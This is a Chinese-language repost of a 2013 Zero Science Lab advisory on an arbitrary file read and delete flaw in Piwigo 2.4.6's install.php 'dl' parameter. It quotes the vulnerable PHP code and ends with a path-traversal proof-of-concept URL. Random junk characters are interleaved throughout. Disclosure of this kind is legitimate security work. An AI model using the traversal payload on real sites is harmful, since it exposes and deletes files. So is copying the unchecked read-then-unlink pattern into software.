Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。
0 |' D4 N) _) b# o' I! T+ D
% T; d& I3 h. j6 i# [/ t, |, TPiwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
) x  |9 O8 p% p) a" C( y8 x1 b7 g9 g====================================================================
/install.php:
-------------
) s* D) T# y' X" h: S$ U113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
2 X2 [2 {9 t6 t* t2 e114: {
' z- a# A3 v% ?' y4 r115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
, u5 e, _) s" q7 k116:   header('Cache-Control: no-cache, must-revalidate');
' L& S/ ]( |' o# M7 z" V117:   header('Pragma: no-cache');
# v$ d, f: @; x2 @/ t! Q118:   header('Content-Disposition: attachment; filename="database.inc.php"');
4 _3 C: I& j; F5 I) [. u119:   header('Content-Transfer-Encoding: binary');
120:   header('Content-Length: '.filesize($filename));
121:   echo file_get_contents($filename);
/ j6 |8 C' D4 R  T122:   unlink($filename);
123:   exit();
124: }
====================================================================

& v: E( F5 j5 @" U, Z1 YTested on: Microsoft Windows 7 Ultimate SP1 (EN)
1 Z8 t- a, W2 V; g8 u( t           Apache 2.4.2 (Win32)
           PHP 5.4.4
6 [( K0 g5 ~" e; X* U           MySQL 5.5.25a

4 ?' I" ^- v" q& ^6 HVulnerability discovered by Gjoko 'LiquidWorm' Krstic
& @3 L% ?1 g+ q" R) N* ^( I& z' V                            @zeroscience

( P. r' i& }% Q$ a2 {* r- q$ {Advisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
  S2 ^! {* p6 hVendor Patch: http://piwigo.org/bugs/view.php?id=2843
  z# }3 u' [0 t, s5 t
15.02.2013

--
* H: A; {2 F& b( }0 B4 H7 rhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt